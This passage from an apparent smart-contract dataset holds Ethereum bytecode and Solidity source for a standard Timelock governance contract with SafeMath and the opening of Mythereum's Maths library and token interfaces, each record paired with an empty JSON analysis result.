fffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bdf826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118f790919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610cb082600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118de90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60075481565b600660009054906101000a900460ff1681565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610eca576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f5e565b610edd83826118de90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561114e5780601f106111235761010080835404028352916020019161114e565b820191906000526020600020905b81548152906001019060200180831161113157829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561119357600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156111e057600080fd5b611231826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118de90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112c4826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118f790919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061140682600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118f790919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561165457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561169057600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414156117e7576117e08483610763565b90506117ec565b600090505b9392505050565b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561189657600080fd5b505af11580156118aa573d6000803e3d6000fd5b505050506040513d60208110156118c057600080fd5b810190808051906020019092919050505015156118d957fe5b505050565b60008282111515156118ec57fe5b818303905092915050565b600080828401905083811015151561190b57fe5b80915050929150505600a165627a7a723058200da4d5c6b85a1a8e4e284223015d5b03e7fafd2d5434d5ffc0610c1b0e0c311a0029
{"success": true, "error": null, "results": {}}
8,311
0x105e62e4bdfa67bca18400cfbe2eacd4d0be080d
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; // File: @openzeppelin/contracts/math/SafeMath.sol /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: contracts/VALUE/Timelock.sol contract Timelock { using SafeMath for uint; event NewAdmin(address indexed newAdmin); event NewPendingAdmin(address indexed newPendingAdmin); event NewOperator(address indexed newOperator); event NewDelay(uint indexed newDelay); event CancelTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); event ExecuteTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); event QueueTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); uint public constant GRACE_PERIOD = 14 days; uint public constant MINIMUM_DELAY = 24 hours; uint public constant MAXIMUM_DELAY = 30 days; address public admin; // should be a multi-sig or DAO address public pendingAdmin; address public operator; // add this role (could be EOA) to initiate (queue) a new tx uint public delay; bool public admin_initialized; mapping (bytes32 => bool) public queuedTransactions; constructor(address admin_, uint delay_) public { require(delay_ >= MINIMUM_DELAY, "Timelock::constructor: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "Timelock::constructor: Delay must not exceed maximum delay."); admin = admin_; operator = admin_; delay = delay_; admin_initialized = false; } receive() external payable { } function setDelay(uint delay_) public { require(msg.sender == address(this), "Timelock::setDelay: Call must come from Timelock."); require(delay_ >= MINIMUM_DELAY, "Timelock::setDelay: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay."); delay = delay_; emit NewDelay(delay); } function setOperator(address operator_) public { require(msg.sender == address(this), "Timelock::setDelay: Call must come from Timelock."); operator = operator_; emit NewOperator(operator); } function acceptAdmin() public { require(msg.sender == pendingAdmin, "Timelock::acceptAdmin: Call must come from pendingAdmin."); admin = msg.sender; pendingAdmin = address(0); emit NewAdmin(admin); } function setPendingAdmin(address pendingAdmin_) public { // allows one time setting of admin for deployment purposes if (admin_initialized) { require(msg.sender == address(this), "Timelock::setPendingAdmin: Call must come from Timelock."); } else { require(msg.sender == admin, "Timelock::setPendingAdmin: First call must come from admin."); admin_initialized = true; } pendingAdmin = pendingAdmin_; emit NewPendingAdmin(pendingAdmin); } function queueTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public returns (bytes32) { require(msg.sender == admin || msg.sender == operator, "Timelock::queueTransaction: Call must come from admin or operator."); require(eta >= getBlockTimestamp().add(delay), "Timelock::queueTransaction: Estimated execution block must satisfy delay."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = true; emit QueueTransaction(txHash, target, value, signature, data, eta); return txHash; } function cancelTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public { require(msg.sender == admin, "Timelock::cancelTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = false; emit CancelTransaction(txHash, target, value, signature, data, eta); } function executeTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public payable returns (bytes memory) { require(msg.sender == admin, "Timelock::executeTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); require(queuedTransactions[txHash], "Timelock::executeTransaction: Transaction hasn't been queued."); require(getBlockTimestamp() >= eta, "Timelock::executeTransaction: Transaction hasn't surpassed time lock."); require(getBlockTimestamp() <= eta.add(GRACE_PERIOD), "Timelock::executeTransaction: Transaction is stale."); queuedTransactions[txHash] = false; bytes memory callData; if (bytes(signature).length == 0) { callData = data; } else { callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data); } // solium-disable-next-line security/no-call-value (bool success, bytes memory returnData) = target.call{value: value}(callData); require(success, "Timelock::executeTransaction: Transaction execution reverted."); emit ExecuteTransaction(txHash, target, value, signature, data, eta); return returnData; } function getBlockTimestamp() internal view returns (uint) { // solium-disable-next-line security/no-block-members return block.timestamp; } }
0x6080604052600436106100f75760003560e01c80636fc1f57e1161008a578063c1a287e211610059578063c1a287e21461068f578063e177246e146106a4578063f2b06537146106ce578063f851a440146106f8576100fe565b80636fc1f57e146106095780637d645fab14610632578063b1b43ae514610647578063b3ab15fb1461065c576100fe565b80634dd18bf5116100c65780634dd18bf51461045f578063570ca73514610492578063591fcdfe146104a75780636a42b8f8146105f4576100fe565b80630825f38f146101035780630e18b681146102b857806326782247146102cf5780633a66f90114610300576100fe565b366100fe57005b600080fd5b610243600480360360a081101561011957600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b81111561014857600080fd5b82018360208201111561015a57600080fd5b803590602001918460018302840111600160201b8311171561017b57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b8111156101cd57600080fd5b8201836020820111156101df57600080fd5b803590602001918460018302840111600160201b8311171561020057600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550509135925061070d915050565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561027d578181015183820152602001610265565b50505050905090810190601f1680156102aa5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102c457600080fd5b506102cd610c0d565b005b3480156102db57600080fd5b506102e4610ca9565b604080516001600160a01b039092168252519081900360200190f35b34801561030c57600080fd5b5061044d600480360360a081101561032357600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b81111561035257600080fd5b82018360208201111561036457600080fd5b803590602001918460018302840111600160201b8311171561038557600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b8111156103d757600080fd5b8201836020820111156103e957600080fd5b803590602001918460018302840111600160201b8311171561040a57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505091359250610cb8915050565b60408051918252519081900360200190f35b34801561046b57600080fd5b506102cd6004803603602081101561048257600080fd5b50356001600160a01b0316610fcf565b34801561049e57600080fd5b506102e46110c4565b3480156104b357600080fd5b506102cd600480360360a08110156104ca57600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b8111156104f957600080fd5b82018360208201111561050b57600080fd5b803590602001918460018302840111600160201b8311171561052c57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561057e57600080fd5b82018360208201111561059057600080fd5b803590602001918460018302840111600160201b831117156105b157600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955050913592506110d3915050565b34801561060057600080fd5b5061044d611380565b34801561061557600080fd5b5061061e611386565b604080519115158252519081900360200190f35b34801561063e57600080fd5b5061044d61138f565b34801561065357600080fd5b5061044d611396565b34801561066857600080fd5b506102cd6004803603602081101561067f57600080fd5b50356001600160a01b031661139d565b34801561069b57600080fd5b5061044d61142b565b3480156106b057600080fd5b506102cd600480360360208110156106c757600080fd5b5035611432565b3480156106da57600080fd5b5061061e600480360360208110156106f157600080fd5b5035611527565b34801561070457600080fd5b506102e461153c565b6000546060906001600160a01b031633146107595760405162461bcd60e51b81526004018080602001828103825260388152602001806115b16038913960400191505060405180910390fd5b6000868686868660405160200180866001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b838110156107bf5781810151838201526020016107a7565b50505050905090810190601f1680156107ec5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b8381101561081f578181015183820152602001610807565b50505050905090810190601f16801561084c5780820380516001836020036101000a031916815260200191505b5060408051601f1981840301815291815281516020928301206000818152600590935291205490995060ff1697506108bd96505050505050505760405162461bcd60e51b815260040180806020018281038252603d815260200180611781603d913960400191505060405180910390fd5b826108c661154b565b10156109035760405162461bcd60e51b81526004018080602001828103825260458152602001806116956045913960600191505060405180910390fd5b610910836212750061154f565b61091861154b565b11156109555760405162461bcd60e51b81526004018080602001828103825260338152602001806116626033913960400191505060405180910390fd5b6000818152600560205260409020805460ff19169055845160609061097b5750836109fe565b85805190602001208560405160200180836001600160e01b031916815260040182805190602001908083835b602083106109c65780518252601f1990920191602091820191016109a7565b6001836020036101000a0380198251168184511680821785525050505050509050019250505060405160208183030381529060405290505b60006060896001600160a01b031689846040518082805190602001908083835b60208310610a3d5780518252601f199092019160209182019101610a1e565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114610a9f576040519150601f19603f3d011682016040523d82523d6000602084013e610aa4565b606091505b509150915081610ae55760405162461bcd60e51b815260040180806020018281038252603d81526020018061182e603d913960400191505060405180910390fd5b896001600160a01b0316847fa560e3198060a2f10670c1ec5b403077ea6ae93ca8de1c32b451dc1a943cd6e78b8b8b8b604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610b62578181015183820152602001610b4a565b50505050905090810190601f168015610b8f5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610bc2578181015183820152602001610baa565b50505050905090810190601f168015610bef5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a39998505050505050505050565b6001546001600160a01b03163314610c565760405162461bcd60e51b81526004018080602001828103825260388152602001806117be6038913960400191505060405180910390fd5b60008054336001600160a01b031991821617808355600180549092169091556040516001600160a01b03909116917f71614071b88dee5e0b2ae578a9dd7b2ebbe9ae832ba419dc0242cd065a290b6c91a2565b6001546001600160a01b031681565b600080546001600160a01b0316331480610cdc57506002546001600160a01b031633145b610d175760405162461bcd60e51b81526004018080602001828103825260428152602001806116206042913960600191505060405180910390fd5b610d2b600354610d2561154b565b9061154f565b821015610d695760405162461bcd60e51b815260040180806020018281038252604981526020018061186b6049913960600191505060405180910390fd5b6000868686868660405160200180866001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610dcf578181015183820152602001610db7565b50505050905090810190601f168015610dfc5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610e2f578181015183820152602001610e17565b50505050905090810190601f168015610e5c5780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060016005600083815260200190815260200160002060006101000a81548160ff021916908315150217905550866001600160a01b0316817f76e2796dc3a81d57b0e8504b647febcbeeb5f4af818e164f11eef8131a6a763f88888888604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610f27578181015183820152602001610f0f565b50505050905090810190601f168015610f545780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610f87578181015183820152602001610f6f565b50505050905090810190601f168015610fb45780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a39695505050505050565b60045460ff161561101d573330146110185760405162461bcd60e51b81526004018080602001828103825260388152602001806117f66038913960400191505060405180910390fd5b611074565b6000546001600160a01b031633146110665760405162461bcd60e51b815260040180806020018281038252603b81526020018061170e603b913960400191505060405180910390fd5b6004805460ff191660011790555b600180546001600160a01b0319166001600160a01b0383811691909117918290556040519116907f69d78e38a01985fbb1462961809b4b2d65531bc93b2b94037f3334b82ca4a75690600090a250565b6002546001600160a01b031681565b6000546001600160a01b0316331461111c5760405162461bcd60e51b81526004018080602001828103825260378152602001806115e96037913960400191505060405180910390fd5b6000858585858560405160200180866001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b8381101561118257818101518382015260200161116a565b50505050905090810190601f1680156111af5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b838110156111e25781810151838201526020016111ca565b50505050905090810190601f16801561120f5780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060006005600083815260200190815260200160002060006101000a81548160ff021916908315150217905550856001600160a01b0316817f2fffc091a501fd91bfbff27141450d3acb40fb8e6d8382b243ec7a812a3aaf8787878787604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b838110156112da5781810151838201526020016112c2565b50505050905090810190601f1680156113075780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b8381101561133a578181015183820152602001611322565b50505050905090810190601f1680156113675780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a3505050505050565b60035481565b60045460ff1681565b62278d0081565b6201518081565b3330146113db5760405162461bcd60e51b81526004018080602001828103825260318152602001806118b46031913960400191505060405180910390fd5b600280546001600160a01b0319166001600160a01b0383811691909117918290556040519116907fda12ee837e6978172aaf54b16145ffe08414fd8710092ef033c71b8eb6ec189a90600090a250565b6212750081565b3330146114705760405162461bcd60e51b81526004018080602001828103825260318152602001806118b46031913960400191505060405180910390fd5b620151808110156114b25760405162461bcd60e51b81526004018080602001828103825260348152602001806116da6034913960400191505060405180910390fd5b62278d008111156114f45760405162461bcd60e51b81526004018080602001828103825260388152602001806117496038913960400191505060405180910390fd5b600381905560405181907f948b1f6a42ee138b7e34058ba85a37f716d55ff25ff05a763f15bed6a04c8d2c90600090a250565b60056020526000908152604090205460ff1681565b6000546001600160a01b031681565b4290565b6000828201838110156115a9576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fe54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a63616e63656c5472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e206f72206f70657261746f722e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206973207374616c652e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774207375727061737365642074696d65206c6f636b2e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d75737420657863656564206d696e696d756d2064656c61792e54696d656c6f636b3a3a73657450656e64696e6741646d696e3a2046697273742063616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d757374206e6f7420657863656564206d6178696d756d2064656c61792e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774206265656e207175657565642e54696d656c6f636b3a3a61636365707441646d696e3a2043616c6c206d75737420636f6d652066726f6d2070656e64696e6741646d696e2e54696d656c6f636b3a3a73657450656e64696e6741646d696e3a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e20657865637574696f6e2072657665727465642e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a20457374696d6174656420657865637574696f6e20626c6f636b206d75737420736174697366792064656c61792e54696d656c6f636b3a3a73657444656c61793a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2ea26469706673582212207422379349426d1d537cac60806e77d129d93cbd7d1119f0987507e05365c59b64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
8,312
0xbd57cc26c0fd1b339c6725866399126366328352
pragma solidity ^0.4.21; /** * @title Maths * A library to make working with numbers in Solidity hurt your brain less. */ library Maths { /** * @dev Adds two addends together, returns the sum * @param addendA the first addend * @param addendB the second addend * @return sum the sum of the equation (e.g. addendA + addendB) */ function plus( uint256 addendA, uint256 addendB ) public pure returns (uint256 sum) { sum = addendA + addendB; } /** * @dev Subtracts the minuend from the subtrahend, returns the difference * @param minuend the minuend * @param subtrahend the subtrahend * @return difference the difference (e.g. minuend - subtrahend) */ function minus( uint256 minuend, uint256 subtrahend ) public pure returns (uint256 difference) { assert(minuend >= subtrahend); difference = minuend - subtrahend; } /** * @dev Multiplies two factors, returns the product * @param factorA the first factor * @param factorB the second factor * @return product the product of the equation (e.g. factorA * factorB) */ function mul( uint256 factorA, uint256 factorB ) public pure returns (uint256 product) { if (factorA == 0 || factorB == 0) return 0; product = factorA * factorB; assert(product / factorA == factorB); } /** * @dev Multiplies two factors, returns the product * @param factorA the first factor * @param factorB the second factor * @return product the product of the equation (e.g. factorA * factorB) */ function times( uint256 factorA, uint256 factorB ) public pure returns (uint256 product) { return mul(factorA, factorB); } /** * @dev Divides the dividend by divisor, returns the truncated quotient * @param dividend the dividend * @param divisor the divisor * @return quotient the quotient of the equation (e.g. dividend / divisor) */ function div( uint256 dividend, uint256 divisor ) public pure returns (uint256 quotient) { quotient = dividend / divisor; assert(quotient * divisor == dividend); } /** * @dev Divides the dividend by divisor, returns the truncated quotient * @param dividend the dividend * @param divisor the divisor * @return quotient the quotient of the equation (e.g. dividend / divisor) */ function dividedBy( uint256 dividend, uint256 divisor ) public pure returns (uint256 quotient) { return div(dividend, divisor); } /** * @dev Divides the dividend by divisor, returns the quotient and remainder * @param dividend the dividend * @param divisor the divisor * @return quotient the quotient of the equation (e.g. dividend / divisor) * @return remainder the remainder of the equation (e.g. dividend % divisor) */ function divideSafely( uint256 dividend, uint256 divisor ) public pure returns (uint256 quotient, uint256 remainder) { quotient = div(dividend, divisor); remainder = dividend % divisor; } /** * @dev Returns the lesser of two values. * @param a the first value * @param b the second value * @return result the lesser of the two values */ function min( uint256 a, uint256 b ) public pure returns (uint256 result) { result = a <= b ? a : b; } /** * @dev Returns the greater of two values. * @param a the first value * @param b the second value * @return result the greater of the two values */ function max( uint256 a, uint256 b ) public pure returns (uint256 result) { result = a >= b ? a : b; } /** * @dev Determines whether a value is less than another. * @param a the first value * @param b the second value * @return isTrue whether a is less than b */ function isLessThan(uint256 a, uint256 b) public pure returns (bool isTrue) { isTrue = a < b; } /** * @dev Determines whether a value is equal to or less than another. * @param a the first value * @param b the second value * @return isTrue whether a is less than or equal to b */ function isAtMost(uint256 a, uint256 b) public pure returns (bool isTrue) { isTrue = a <= b; } /** * @dev Determines whether a value is greater than another. * @param a the first value * @param b the second value * @return isTrue whether a is greater than b */ function isGreaterThan(uint256 a, uint256 b) public pure returns (bool isTrue) { isTrue = a > b; } /** * @dev Determines whether a value is equal to or greater than another. * @param a the first value * @param b the second value * @return isTrue whether a is less than b */ function isAtLeast(uint256 a, uint256 b) public pure returns (bool isTrue) { isTrue = a >= b; } } /** * @title Manageable */ contract Manageable { address public owner; address public manager; event OwnershipChanged(address indexed previousOwner, address indexed newOwner); event ManagementChanged(address indexed previousManager, address indexed newManager); /** * @dev The Manageable constructor sets the original `owner` of the contract to the sender * account. */ function Manageable() public { owner = msg.sender; manager = msg.sender; } /** * @dev Throws if called by any account other than the owner or manager. */ modifier onlyManagement() { require(msg.sender == owner || msg.sender == manager); _; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipChanged(owner, newOwner); owner = newOwner; } /** * @dev Allows the owner or manager to replace the current manager * @param newManager The address to give contract management rights. */ function replaceManager(address newManager) public onlyManagement { require(newManager != address(0)); ManagementChanged(manager, newManager); manager = newManager; } } contract ERC20 { function allowance(address owner, address spender) public view returns (uint256); function approve(address spender, uint256 value) public returns (bool); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); function transferFrom(address from, address to, uint256 value) public returns (bool); function totalSupply() public view returns (uint256); } contract MythereumERC20Token is ERC20 { function burn(address burner, uint256 amount) public returns (bool); function mint(address to, uint256 amount) public returns (bool); } contract MythereumCardToken { function balanceOf(address _owner) public view returns (uint256 _balance); function ownerOf(uint256 _tokenId) public view returns (address _owner); function exists(uint256 _tokenId) public view returns (bool _exists); function approve(address _to, uint256 _tokenId) public; function getApproved(uint256 _tokenId) public view returns (address _operator); function setApprovalForAll(address _operator, bool _approved) public; function isApprovedForAll(address _owner, address _operator) public view returns (bool); function transferFrom(address _from, address _to, uint256 _tokenId) public; function safeTransferFrom(address _from, address _to, uint256 _tokenId) public; function safeTransferFrom( address _from, address _to, uint256 _tokenId, bytes _data ) public; function 